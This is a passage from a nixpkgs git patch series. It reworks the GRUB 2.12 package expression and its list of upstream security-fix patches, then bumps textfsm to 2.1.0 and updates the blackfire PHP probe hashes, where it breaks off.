-        hash = "sha256-16NrpWFSE4jFT2uxmJg16jChw8HiGRTol25XQXNQ5l4=";
-      })
-      (fetchpatch {
-        name = "32_CVE-2024-45774.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=2c34af908ebf4856051ed29e46d88abd2b20387f";
-        hash = "sha256-OWmF+fp2TmetQjV4EWMcESW8u52Okkb5C5IPLfczyv4=";
-      })
-      (fetchpatch {
-        name = "33_kern_dl_fix_for_an_integer_overflow_in_grub_dl_ref.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=500e5fdd82ca40412b0b73f5e5dda38e4a3af96d";
-        hash = "sha256-FNqOWo+oZ4/1sCbTi2uaeKchUxwAKXtbzhScezm0yxk=";
-      })
-      # Patch 34 (https://git.savannah.gnu.org/cgit/grub.git/patch/?id=d72208423dcabf9eb4a3bcb17b6b31888396bd49)
-      # is skipped, grub_dl_set_mem_attrs() does not exist on 2.12
-      (fetchpatch {
-        name = "35_kern_dl_check_for_the_SHF_INFO_LINK_flag_in_grub_dl_relocate_symbols.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=98ad84328dcabfa603dcf5bd217570aa6b4bdd99";
-        hash = "sha256-Zi4Pj2NbodL0VhhO5MWhvErb8xmA7Li0ur0MxpgQjzg=";
-      })
-      (fetchpatch {
-        name = "36_CVE-2024-45775.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=05be856a8c3aae41f5df90cab7796ab7ee34b872";
-        hash = "sha256-T6DO8iuImQTP7hPaCAHMtFnheQoCkZ6w+kfNolLPmrY=";
-      })
-      (fetchpatch {
-        name = "37_commands_ls_fix_NULL_dereference.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=0bf56bce47489c059e50e61a3db7f682d8c44b56";
-        hash = "sha256-h5okwqv4ZFahP3ANUbsk1fiSV4pwEnxUExeBgQ4tiTI=";
-      })
-      (fetchpatch {
-        name = "38_CVE-2025-0622.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=2123c5bca7e21fbeb0263df4597ddd7054700726";
-        hash = "sha256-tFE7VgImGZWDICyvHbrI1hqW6/XohgdTmk21MzljMGw=";
-      })
-      (fetchpatch {
-        name = "39_CVE-2025-0622.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=9c16197734ada8d0838407eebe081117799bfe67";
-        hash = "sha256-tTeuEvadKbXVuY0m0dKtTr11Lpb3yQi4zk0bpwrMOeA=";
-      })
-      (fetchpatch {
-        name = "40_CVE-2025-0622.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=7580addfc8c94cedb0cdfd7a1fd65b539215e637";
-        hash = "sha256-khRLpWqE7hzzoqssVkGFMjAv09T+uHn13Q9pCpogMms=";
-      })
-      (fetchpatch {
-        name = "41_CVE-2024-45776.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=09bd6eb58b0f71ec273916070fa1e2de16897a91";
-        hash = "sha256-yrl/6XUdKQg/MLe8KFuFoRRbQSyOhDmyvnWBV+sr3EY=";
-      })
-      (fetchpatch {
-        name = "42_CVE-2024-45777.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=b970a5ed967816bbca8225994cd0ee2557bad515";
-        hash = "sha256-Vl5Emw3O3Ba2hD1GCWune4PGduDDPO0gM5u+zx/OwKo=";
-      })
-      (fetchpatch {
-        name = "43_CVE-2025-0690.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=dad8f502974ed9ad0a70ae6820d17b4b142558fc";
-        hash = "sha256-DeWOncndX2VM8w1lb5fd5wHAZrI+ChB5Pj9XbUIfDWY=";
-      })
-      (fetchpatch {
-        name = "44_commands_test_stack_overflow_due_to_unlimited_recursion_depth.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=c68b7d23628a19da67ebe2e06f84165ee04961af";
-        hash = "sha256-aputM9KqkB/cK8hBiU9VXbu0LpLNlNCMVIeE9h2pMgY=";
-      })
-      (fetchpatch {
-        name = "45_CVE-2025-1118.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=34824806ac6302f91e8cabaa41308eaced25725f";
-        hash = "sha256-PKQs+fCwj4a9p4hbMqAT3tFNoAOw4xnbKmCwjPUgEOc=";
-      })
-      (fetchpatch {
-        name = "46_commands_memrw_disable_memory_reading_in_lockdown_mode.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=340e4d058f584534f4b90b7dbea2b64a9f8c418c";
-        hash = "sha256-NiMIUnfRreDBw+k4yxUzoRNMFL8pkJhVtkINVgmv5XA=";
-      })
-      (fetchpatch {
-        name = "47_commands_hexdump_disable_memory_reading_in_lockdown_mode.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=5f31164aed51f498957cdd6ed733ec71a8592c99";
-        hash = "sha256-NA7QjxZ9FP+WwiOveqLkbZqsF7hULIyaVS3gNaSUXJE=";
-      })
-      (fetchpatch {
-        name = "48_CVE-2024-45778_CVE-2024-45779.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=26db6605036bd9e5b16d9068a8cc75be63b8b630";
-        hash = "sha256-1+ImwkF/qsejWs2lpyO6xbcqVo2NJGv32gjrP8mEPnI=";
-      })
-      (fetchpatch {
-        name = "49_CVE-2025-0677_CVE-2025-0684_CVE-2025-0685_CVE-2025-0686_CVE-2025-0689.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=c4bc55da28543d2522a939ba4ee0acde45f2fa74";
-        hash = "sha256-qrlErSImMX8eXJHkXjOe5GZ6lWOya5SVpNoiqyEM1lE=";
-      })
-      (fetchpatch {
-        name = "50_disk_use_safe_math_macros_to_prevent_overflows.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=c407724dad6c3e2fc1571e57adbda71cc03f82aa";
-        hash = "sha256-kkAjxXvCdzwqh+oWtEF3qSPiUX9cGWO6eSFVeo7WJzQ=";
-      })
-      (fetchpatch {
-        name = "51_disk_prevent_overflows_when_allocating_memory_for_arrays.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=d8151f98331ee4d15fcca59edffa59246d8fc15f";
-        hash = "sha256-2U+gMLigOCCg3P1GB615xQ0B9PDA6j92tt1ba3Tqg+E=";
-      })
-      (fetchpatch {
-        name = "52_disk_check_if_returned_pointer_for_allocated_memory_is_NULL.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=33bd6b5ac5c77b346769ab5284262f94e695e464";
-        hash = "sha256-+BaJRskWP/YVEdvIxMvEydjQx2LpLlGphRtZjiOUxJ0=";
-      })
-      (fetchpatch {
-        name = "53_disk_ieee1275_ofdisk_call_grub_ieee1275_close_when_grub_malloc_fails.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=fbaddcca541805c333f0fc792b82772594e73753";
-        hash = "sha256-9sGA41HlB/8rtT/fMfkDo4ZJMXBSr+EyN92l/0gDfl4=";
-      })
-      (fetchpatch {
-        name = "54_fs_use_safe_math_macros_to_prevent_overflows.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=6608163b08a7a8be4b0ab2a5cd4593bba07fe2b7";
-        excludes = [ "grub-core/fs/erofs.c" ]; # Does not exist on 2.12
-        hash = "sha256-mW4MH5VH5pDxCaFhNh/4mEcYloga56p8vCi7X4kSaek=";
-      })
-      (fetchpatch {
-        name = "55_CVE-2025-0678_CVE-2025-1125.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=84bc0a9a68835952ae69165c11709811dae7634e";
-        hash = "sha256-rCliqM2+k7rTGNpdHFkg3pHvuISjoG0MQr6/8lIvwK4=";
-      })
-      (fetchpatch {
-        name = "56_fs_prevent_overflows_when_assigning_returned_values_from_read_number.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=cde9f7f338f8f5771777f0e7dfc423ddf952ad31";
-        hash = "sha256-dN3HJXNIYtaUZL0LhLabC4VKK6CVC8km9UTw/ln/6ys=";
-      })
-      (fetchpatch {
-        name = "57_fs_zfs_use_safe_math_macros_to_prevent_overflows.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=88e491a0f744c6b19b6d4caa300a576ba56db7c9";
-        hash = "sha256-taSuKyCf9+TiQZcF26yMWpDDQqCfTdRuZTqB9aEz3aA=";
-      })
-      (fetchpatch {
-        name = "58_fs_zfs_prevent_overflows_when_allocating_memory_for_arrays.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=7f38e32c7ebeaebb79e2c71e3c7d5ea367d3a39c";
-        hash = "sha256-E5VmP7I4TAEXxTz3j7mi/uIr9kOSzMoPHAYAbyu56Xk=";
-      })
-      (fetchpatch {
-        name = "59_fs_zfs_check_if_returned_pointer_for_allocated_memory_is_NULL.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=13065f69dae0eeb60813809026de5bd021051892";
-        hash = "sha256-1W//rHUspDS+utdNc069J8lX1ONfoBKiJYnUt46C/D0=";
-      })
-      (fetchpatch {
-        name = "60_fs_zfs_add_missing_NULL_check_after_grub_strdup_call.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=dd6a4c8d10e02ca5056681e75795041a343636e4";
-        hash = "sha256-iFLEkz5G6aQ8FXGuY7/wgN4d4o0+sUxWMKYIFcQ/H+o=";
-      })
-      (fetchpatch {
-        name = "61_net_use_safe_math_macros_to_prevent_overflows.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=4beeff8a31c4fb4071d2225533cfa316b5a58391";
-        hash = "sha256-/gs5ZhplQ1h7PWw0p+b5+0OxmRcvDRKWHj39ezhivcg=";
-      })
-      (fetchpatch {
-        name = "62_net_prevent_overflows_when_allocating_memory_for_arrays.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=dee2c14fd66bc497cdc74c69fde8c9b84637c8eb";
-        hash = "sha256-cO02tCGEeQhQF0TmgtNOgUwRLnNgmxhEefo1gtSlFOk=";
-      })
-      (fetchpatch {
-        name = "63_net_check_if_returned_pointer_for_allocated_memory_is_NULL.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=1c06ec900591d1fab6fbacf80dc010541d0a5ec8";
-        hash = "sha256-oSRhWWVraitoVDqGlFOVzdCkaNqFGOHLjJu75CSc388=";
-      })
-      (fetchpatch {
-        name = "64_fs_sfs_check_if_allocated_memory_is_NULL.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=e3c578a56f9294e286b6028ca7c1def997a17b15";
-        hash = "sha256-7tvFbmjWmWmmRykQjMvZV6IYlhSS8oNR7YfaO5XXAfU=";
-      })
-      (fetchpatch {
-        name = "65_script_execute_fix_potential_underflow_and_NULL.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=d13b6e8ebd10b4eb16698a002aa40258cf6e6f0e";
-        hash = "sha256-paMWaAIImzxtufUrVF5v4T4KnlDAJIPhdaHznu5CyZ8=";
-      })
-      (fetchpatch {
-        name = "66_osdep_unix_getroot_fix_potential_underflow.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=66733f7c7dae889861ea3ef3ec0710811486019e";
-        hash = "sha256-/14HC1kcW7Sy9WfJQFfC+YnvS/GNTMP+Uy6Dxd3zkwc=";
-      })
-      (fetchpatch {
-        name = "67_misc_ensure_consistent_overflow_error_messages.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=f8795cde217e21539c2f236bcbb1a4bf521086b3";
-        hash = "sha256-4X7wr1Tg16xDE9FO6NTlgkfLV5zFKmajeaOspIqcCuI=";
-      })
-      (fetchpatch {
-        name = "68_bus_usb_ehci_define_GRUB_EHCI_TOGGLE_as_grub_uint32_t.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=9907d9c2723304b42cf6da74f1cc6c4601391956";
-        hash = "sha256-D8xaI8g7ffGGmZqqeS8wxWIFLUWUBfmHwMVOHkYTc2I=";
-      })
-      (fetchpatch {
-        name = "69_normal_menu_use_safe_math_to_avoid_an_integer_overflow.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=5b36a5210e21bee2624f8acc36aefd8f10266adb";
-        hash = "sha256-UourmM0Zlaj4o+SnYi5AtjfNujDOt+2ez2XH/uWyiaM=";
-      })
-      (fetchpatch {
-        name = "70_kern_partition_add_sanity_check_after_grub_strtoul_call.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=8e6e87e7923ca2ae880021cb42a35cc9bb4c8fe2";
-        hash = "sha256-4keMUu6ZDKmuSQlFnldV15dDGUibsnSvoEWhLsqWieI=";
-      })
-      (fetchpatch {
-        name = "71_kern_misc_add_sanity_check_after_grub_strtoul_call.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=a8d6b06331a75d75b46f3dd6cc6fcd40dcf604b7";
-        hash = "sha256-2Mpe1sqyuoUPyMAKGZTNzG/ig3G3K8w0gia7lc508Rg=";
-      })
-      (fetchpatch {
-        name = "72_loader_i386_linux_cast_left_shift_to_grub_uint32_t.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=490a6ab71cebd96fae7a1ceb9067484f5ccbec2a";
-        hash = "sha256-e49OC1EBaX0/nWTTXT5xE5apTJPQV0myP5Ohxn9Wwa8=";
-      })
-      (fetchpatch {
-        name = "73_loader_i386_bsd_use_safe_math_to_avoid_underflow.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=4dc6166571645780c459dde2cdc1b001a5ec844c";
-        hash = "sha256-e8X+oBvejcFNOY1Tp/f6QqCDwrgK7f9u1F8SdO/dhy4=";
-      })
-      (fetchpatch {
-        # Fixes 7e2f750f0a (security patch 14/73)
-        name = "fs_ext2_rework_out-of-bounds_read_for_inline_and_external_extents.patch";
-        url = "https://git.savannah.gnu.org/cgit/grub.git/patch/?id=348cd416a3574348f4255bf2b04ec95938990997";
-        hash = "sha256-WBLYQxv8si2tvdPAvbm0/4NNqYWBMJpFV4GC0HhN/kE=";
-      })
-    ];
-
-    postPatch =
-      if kbdcompSupport then
-        ''
-          sed -i util/grub-kbdcomp.in -e 's@\bckbcomp\b@${ckbcomp}/bin/ckbcomp@'
-        ''
-      else
-        ''
-          echo '#! ${runtimeShell}' > util/grub-kbdcomp.in
-          echo 'echo "Compile grub2 with { kbdcompSupport = true; } to enable support for this command."' >> util/grub-kbdcomp.in
-        '';
-
-    depsBuildBuild = [ buildPackages.stdenv.cc ];
-    nativeBuildInputs = [
-      bison
-      flex
-      python3
-      pkg-config
-      gettext
-      freetype
-      autoconf
-      automake
-      help2man
-    ];
-    buildInputs =
-      [
-        ncurses
-        libusb-compat-0_1
-        freetype
-        lvm2
-        fuse
-        libtool
-        bash
-      ]
-      ++ lib.optional doCheck qemu
-      ++ lib.optional zfsSupport zfs;
-
-    strictDeps = true;
-
-    hardeningDisable = [ "all" ];
-
-    separateDebugInfo = !xenSupport;
-
-    preConfigure = ''
-       for i in "tests/util/"*.in
-       do
-         sed -i "$i" -e's|/bin/bash|${stdenv.shell}|g'
-       done
-
-       # Apparently, the QEMU executable is no longer called
-       # `qemu-system-i386', even on i386.
-       #
-       # In addition, use `-nodefaults' to avoid errors like:
-       #
-       #  chardev: opening backend "stdio" failed
-       #  qemu: could not open serial device 'stdio': Invalid argument
-       #
-       # See <http://www.mail-archive.com/qemu-devel@nongnu.org/msg22775.html>.
-       sed -i "tests/util/grub-shell.in" \
-           -e's/qemu-system-i386/qemu-system-x86_64 -nodefaults/g'
-
-      unset CPP # setting CPP intereferes with dependency calculation
-
-      patchShebangs .
-
-      GNULIB_REVISION=$(. bootstrap.conf; echo $GNULIB_REVISION)
-      if [ "$GNULIB_REVISION" != ${gnulib.rev} ]; then
-        echo "This version of GRUB requires a different gnulib revision!"
-        echo "We have: ${gnulib.rev}"
-        echo "GRUB needs: $GNULIB_REVISION"
-        exit 1
-      fi
-
-      cp -f --no-preserve=mode ${locales}/po/LINGUAS ${locales}/po/*.po po
-
-      ./bootstrap --no-git --gnulib-srcdir=${gnulib}
-
-      substituteInPlace ./configure --replace '/usr/share/fonts/unifont' '${unifont}/share/fonts'
-    '';
-
-    postConfigure = ''
-      # make sure .po files are up to date to workaround
-      # parallel `msgmerge --update` on autogenerated .po files:
-      #   https://github.com/NixOS/nixpkgs/pull/248747#issuecomment-1676301670
-      make dist
-    '';
-
-    configureFlags =
-      [
-        "--enable-grub-mount" # dep of os-prober
-      ]
-      ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-        # grub doesn't do cross-compilation as usual and tries to use unprefixed
-        # tools to target the host. Provide toolchain information explicitly for
-        # cross builds.
-        #
-        # Ref: # https://github.com/buildroot/buildroot/blob/master/boot/grub2/grub2.mk#L108
-        "TARGET_CC=${stdenv.cc.targetPrefix}cc"
-        "TARGET_NM=${stdenv.cc.targetPrefix}nm"
-        "TARGET_OBJCOPY=${stdenv.cc.targetPrefix}objcopy"
-        "TARGET_RANLIB=${stdenv.cc.targetPrefix}ranlib"
-        "TARGET_STRIP=${stdenv.cc.targetPrefix}strip"
-      ]
-      ++ lib.optional zfsSupport "--enable-libzfs"
-      ++ lib.optionals efiSupport [
-        "--with-platform=efi"
-        "--target=${efiSystemsBuild.${stdenv.hostPlatform.system}.target}"
-        "--program-prefix="
-      ]
-      ++ lib.optionals xenSupport [
-        "--with-platform=xen"
-        "--target=${efiSystemsBuild.${stdenv.hostPlatform.system}.target}"
-      ];
-
-    # save target that grub is compiled for
-    grubTarget =
-      if efiSupport then
-        "${efiSystemsInstall.${stdenv.hostPlatform.system}.target}-efi"
-      else
-        lib.optionalString inPCSystems "${pcSystems.${stdenv.hostPlatform.system}.target}-pc";
-
-    doCheck = false;
-    enableParallelBuilding = true;
-
-    postInstall = ''
-      # Avoid a runtime reference to gcc
-      sed -i $out/lib/grub/*/modinfo.sh -e "/grub_target_cppflags=/ s|'.*'|' '|"
-      # just adding bash to buildInputs wasn't enough to fix the shebang
-      substituteInPlace $out/lib/grub/*/modinfo.sh \
-        --replace ${buildPackages.bash} "/usr/bin/bash"
-    '';
-
-    passthru.tests = {
-      nixos-grub = nixosTests.grub;
-      nixos-install-simple = nixosTests.installer.simple;
-      nixos-install-grub-uefi = nixosTests.installer.simpleUefiGrub;
-      nixos-install-grub-uefi-spec = nixosTests.installer.simpleUefiGrubSpecialisation;
-    };
-
-    meta = with lib; {
-      description = "GNU GRUB, the Grand Unified Boot Loader";
-
-      longDescription = ''
-        GNU GRUB is a Multiboot boot loader. It was derived from GRUB, GRand
-        Unified Bootloader, which was originally designed and implemented by
-        Erich Stefan Boleyn.
-
-        Briefly, the boot loader is the first software program that runs when a
-        computer starts.  It is responsible for loading and transferring
-        control to the operating system kernel software (such as the Hurd or
-        the Linux).  The kernel, in turn, initializes the rest of the
-        operating system (e.g., GNU).
+  postPatch =
+    if kbdcompSupport then
+      ''
+        sed -i util/grub-kbdcomp.in -e 's@\bckbcomp\b@${ckbcomp}/bin/ckbcomp@'
+      ''
+    else
+      ''
+        echo '#! ${runtimeShell}' > util/grub-kbdcomp.in
+        echo 'echo "Compile grub2 with { kbdcompSupport = true; } to enable support for this command."' >> util/grub-kbdcomp.in
       '';
 
-      homepage = "https://www.gnu.org/software/grub/";
+  depsBuildBuild = [ buildPackages.stdenv.cc ];
+  nativeBuildInputs = [
+    bison
+    flex
+    python3
+    pkg-config
+    gettext
+    freetype
+    autoconf
+    automake
+    help2man
+  ];
+  buildInputs =
+    [
+      ncurses
+      libusb-compat-0_1
+      freetype
+      lvm2
+      fuse
+      libtool
+      bash
+    ]
+    ++ lib.optional doCheck qemu
+    ++ lib.optional zfsSupport zfs;
 
-      license = licenses.gpl3Plus;
+  strictDeps = true;
 
-      platforms =
-        if xenSupport then
-          [
-            "x86_64-linux"
-            "i686-linux"
-          ]
-        else
-          platforms.gnu ++ platforms.linux;
+  hardeningDisable = [ "all" ];
 
-      maintainers = [ ];
-    };
-  }
-)
+  separateDebugInfo = !xenSupport;
+
+  preConfigure = ''
+     for i in "tests/util/"*.in
+     do
+       sed -i "$i" -e's|/bin/bash|${stdenv.shell}|g'
+     done
+
+     # Apparently, the QEMU executable is no longer called
+     # `qemu-system-i386', even on i386.
+     #
+     # In addition, use `-nodefaults' to avoid errors like:
+     #
+     #  chardev: opening backend "stdio" failed
+     #  qemu: could not open serial device 'stdio': Invalid argument
+     #
+     # See <http://www.mail-archive.com/qemu-devel@nongnu.org/msg22775.html>.
+     sed -i "tests/util/grub-shell.in" \
+         -e's/qemu-system-i386/qemu-system-x86_64 -nodefaults/g'
+
+    unset CPP # setting CPP intereferes with dependency calculation
+
+    patchShebangs .
+
+    GNULIB_REVISION=$(. bootstrap.conf; echo $GNULIB_REVISION)
+    if [ "$GNULIB_REVISION" != ${gnulib.rev} ]; then
+      echo "This version of GRUB requires a different gnulib revision!"
+      echo "We have: ${gnulib.rev}"
+      echo "GRUB needs: $GNULIB_REVISION"
+      exit 1
+    fi
+
+    cp -f --no-preserve=mode ${locales}/po/LINGUAS ${locales}/po/*.po po
+
+    ./bootstrap --no-git --gnulib-srcdir=${gnulib}
+
+    substituteInPlace ./configure --replace '/usr/share/fonts/unifont' '${unifont}/share/fonts'
+  '';
+
+  postConfigure = ''
+    # make sure .po files are up to date to workaround
+    # parallel `msgmerge --update` on autogenerated .po files:
+    #   https://github.com/NixOS/nixpkgs/pull/248747#issuecomment-1676301670
+    make dist
+  '';
+
+  configureFlags =
+    [
+      "--enable-grub-mount" # dep of os-prober
+    ]
+    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+      # grub doesn't do cross-compilation as usual and tries to use unprefixed
+      # tools to target the host. Provide toolchain information explicitly for
+      # cross builds.
+      #
+      # Ref: # https://github.com/buildroot/buildroot/blob/master/boot/grub2/grub2.mk#L108
+      "TARGET_CC=${stdenv.cc.targetPrefix}cc"
+      "TARGET_NM=${stdenv.cc.targetPrefix}nm"
+      "TARGET_OBJCOPY=${stdenv.cc.targetPrefix}objcopy"
+      "TARGET_RANLIB=${stdenv.cc.targetPrefix}ranlib"
+      "TARGET_STRIP=${stdenv.cc.targetPrefix}strip"
+    ]
+    ++ lib.optional zfsSupport "--enable-libzfs"
+    ++ lib.optionals efiSupport [
+      "--with-platform=efi"
+      "--target=${efiSystemsBuild.${stdenv.hostPlatform.system}.target}"
+      "--program-prefix="
+    ]
+    ++ lib.optionals xenSupport [
+      "--with-platform=xen"
+      "--target=${efiSystemsBuild.${stdenv.hostPlatform.system}.target}"
+    ];
+
+  # save target that grub is compiled for
+  grubTarget =
+    if efiSupport then
+      "${efiSystemsInstall.${stdenv.hostPlatform.system}.target}-efi"
+    else
+      lib.optionalString inPCSystems "${pcSystems.${stdenv.hostPlatform.system}.target}-pc";
+
+  doCheck = false;
+  enableParallelBuilding = true;
+
+  postInstall = ''
+    # Avoid a runtime reference to gcc
+    sed -i $out/lib/grub/*/modinfo.sh -e "/grub_target_cppflags=/ s|'.*'|' '|"
+    # just adding bash to buildInputs wasn't enough to fix the shebang
+    substituteInPlace $out/lib/grub/*/modinfo.sh \
+      --replace ${buildPackages.bash} "/usr/bin/bash"
+  '';
+
+  passthru.tests = {
+    nixos-grub = nixosTests.grub;
+    nixos-install-simple = nixosTests.installer.simple;
+    nixos-install-grub-uefi = nixosTests.installer.simpleUefiGrub;
+    nixos-install-grub-uefi-spec = nixosTests.installer.simpleUefiGrubSpecialisation;
+  };
+
+  meta = with lib; {
+    description = "GNU GRUB, the Grand Unified Boot Loader";
+
+    longDescription = ''
+      GNU GRUB is a Multiboot boot loader. It was derived from GRUB, GRand
+      Unified Bootloader, which was originally designed and implemented by
+      Erich Stefan Boleyn.
+
+      Briefly, the boot loader is the first software program that runs when a
+      computer starts.  It is responsible for loading and transferring
+      control to the operating system kernel software (such as the Hurd or
+      the Linux).  The kernel, in turn, initializes the rest of the
+      operating system (e.g., GNU).
+    '';
+
+    homepage = "https://www.gnu.org/software/grub/";
+
+    license = licenses.gpl3Plus;
+
+    platforms =
+      if xenSupport then
+        [
+          "x86_64-linux"
+          "i686-linux"
+        ]
+      else
+        platforms.gnu ++ platforms.linux;
+
+    maintainers = [ ];
+
+    broken = !(efiSupport -> canEfi) || !(zfsSupport -> zfs != null) || (efiSupport && xenSupport);
+  };
+}

From b06a842bef5605e1e5c83421a2fa33f94a5d355a Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Wed, 21 May 2025 04:22:27 +0200
Subject: [PATCH 2726/4511] python313Packages.textfsm: 1.1.3 -> 2.1.0

https://github.com/google/textfsm/compare/refs/tags/v1.1.3...refs/tags/v2.1.0
(cherry picked from commit c4469f9b92813d267fe10556537741313f44fe02)
---
 .../python-modules/textfsm/default.nix        | 22 +++++--------------
 1 file changed, 6 insertions(+), 16 deletions(-)

diff --git a/pkgs/development/python-modules/textfsm/default.nix b/pkgs/development/python-modules/textfsm/default.nix
index 89ba02bf4f25..397b1cb2ce27 100644
--- a/pkgs/development/python-modules/textfsm/default.nix
+++ b/pkgs/development/python-modules/textfsm/default.nix
@@ -2,33 +2,23 @@
   lib,
   buildPythonPackage,
   fetchFromGitHub,
-  six,
-  future,
+  setuptools,
   pytestCheckHook,
 }:
 
 buildPythonPackage rec {
   pname = "textfsm";
-  version = "1.1.3";
-  format = "setuptools";
+  version = "2.1.0";
+  pyproject = true;
 
   src = fetchFromGitHub {
     owner = "google";
     repo = pname;
-    rev = "v${version}";
-    hash = "sha256-IHgKG8v0X+LSK6purWBdwDnI/BCs5XA12ZJixuqqXWg=";
+    tag = "v${version}";
+    hash = "sha256-ygVcDdT85mRN+qYfTZqraRVyp2JlLwwujBW1e/pPJNc=";
   };
 
-  # upstream forgot to update the release version
-  postPatch = ''
-    substituteInPlace textfsm/__init__.py \
-      --replace "1.1.2" "1.1.3"
-  '';
-
-  propagatedBuildInputs = [
-    six
-    future
-  ];
+  build-system = [ setuptools ];
 
   nativeCheckInputs = [ pytestCheckHook ];
 

From 401839d9454310df0013b7a635cb649198647d15 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 22 May 2025 16:06:43 +0000
Subject: [PATCH 2727/4511] phpExtensions.blackfire: 1.92.32 -> 1.92.36

(cherry picked from commit bb749337a73b3948589ba90eaab1687b261df8fd)
---
 pkgs/by-name/bl/blackfire/php-probe.nix | 38 ++++++++++++-------------
 1 file changed, 19 insertions(+), 19 deletions(-)

diff --git a/pkgs/by-name/bl/blackfire/php-probe.nix b/pkgs/by-name/bl/blackfire/php-probe.nix
index 0b545d374d58..aa133ac2653f 100644
--- a/pkgs/by-name/bl/blackfire/php-probe.nix
+++ b/pkgs/by-name/bl/blackfire/php-probe.nix
@@ -16,50 +16,50 @@ let
   phpMajor = lib.versions.majorMinor php.version;
   inherit (stdenv.hostPlatform) system;
 
-  version = "1.92.32";
+  version = "1.92.36";
 
   hashes = {
     "x86_64-linux" = {
       system = "amd64";
       hash = {
-        "8.1" = "sha256-oRd6PbBLOboH9EVRfZl5u71ZoVMFO4K/uftxlL/vm18=";
-        "8.2" = "sha256-95qBidNHIGLGCb3QbUIzBMHsRi2GTPhwAjJg+JTteDk=";
-        "8.3" = "sha256-8TO28o4YYFK1r2tInjXKenki/izHzZL0Dblaippekl8=";
-        "8.4" = "sha256-Dg+Q0W6Rh2L4J7hmxLxuM3l/dKYHT499Mix4Zpu2Vno=";
+        "8.1" = "sha256-Fn+6aZi8UuyF0f94t09SwhUwvHqjvN6m2HBq2mbr/CA=";
+        "8.2" = "sha256-b8YyT9P+KQonwHqXSn17EDRTdTw9CuvIX0PzjvGlmCo=";
+        "8.3" = "sha256-YLQi530JkoQfAx/ZBR9w2dthK6IsDSyqq3U+rGugUPw=";
+        "8.4" = "sha256-zpXYElris1fjMlwpTwuRDkCdO3MNHCLp3D24x5X/S88=";
       };
     };
     "i686-linux" = {
       system = "i386";
       hash = {
-        "8.1" = "sha256-mXJ1hO8NcODG7Wj3lQ+5lkSjcbkKLN5OOzcobigScKI=";
-        "8.2" = "sha256-P5fQTVfE/DvLD4E3kUPE+eeOM9YVNNixgWVRq3Ca5M4=";
-        "8.3" = "sha256-rMUv2EUlepBahMaEvs60i7RFTmaBe4P4qB1hcARqP9Y=";
-        "8.4" = "sha256-g7v7oN7wfrER9VPk6bGhr+l6GMh2iYHUihcXF9T4GOc=";
+        "8.1" = "sha256-3mNgyfrkgiZBkLE8ppans7R72lOeXFup2nwLoP6Gve0=";
+        "8.2" = "sha256-PT7virnfH8Ujkol/fK84TmVTc4jK4xGfaDL1kb9bj/4=";
+        "8.3" = "sha256-h4Gf4YR2I+R9dMDiFpAN1WB2o6BNP3C80fX7vKEN6Gs=";
+        "8.4" = "sha256-lRunm8coAkwiLvPELWquAsoNQEZv0LvL13Hdg+9dOfA=";
       };
     };
     "aarch64-linux" = {
       system = "arm64";
       hash = {
-        "8.1" = "sha256-Tj7LHXS4m9hF9gY/9vfOQPJVP+vHM1h8XdBY9vyRhFo=";
-        "8.2" = "sha256-6kfotMptfVLPL414mr6LeJZ3ODnjepYQYnKvg4fHIAg=";
-        "8.3" = "sha256-M/GTdinOi3Em7GJOm1iUKkuDNg8La3iQpG+wGHp0ycE=";
-        "8.4" = "sha256-/wwgP76liAb6//uvDLGD5l+skh4P22Q8KdZN7nlEbXI=";
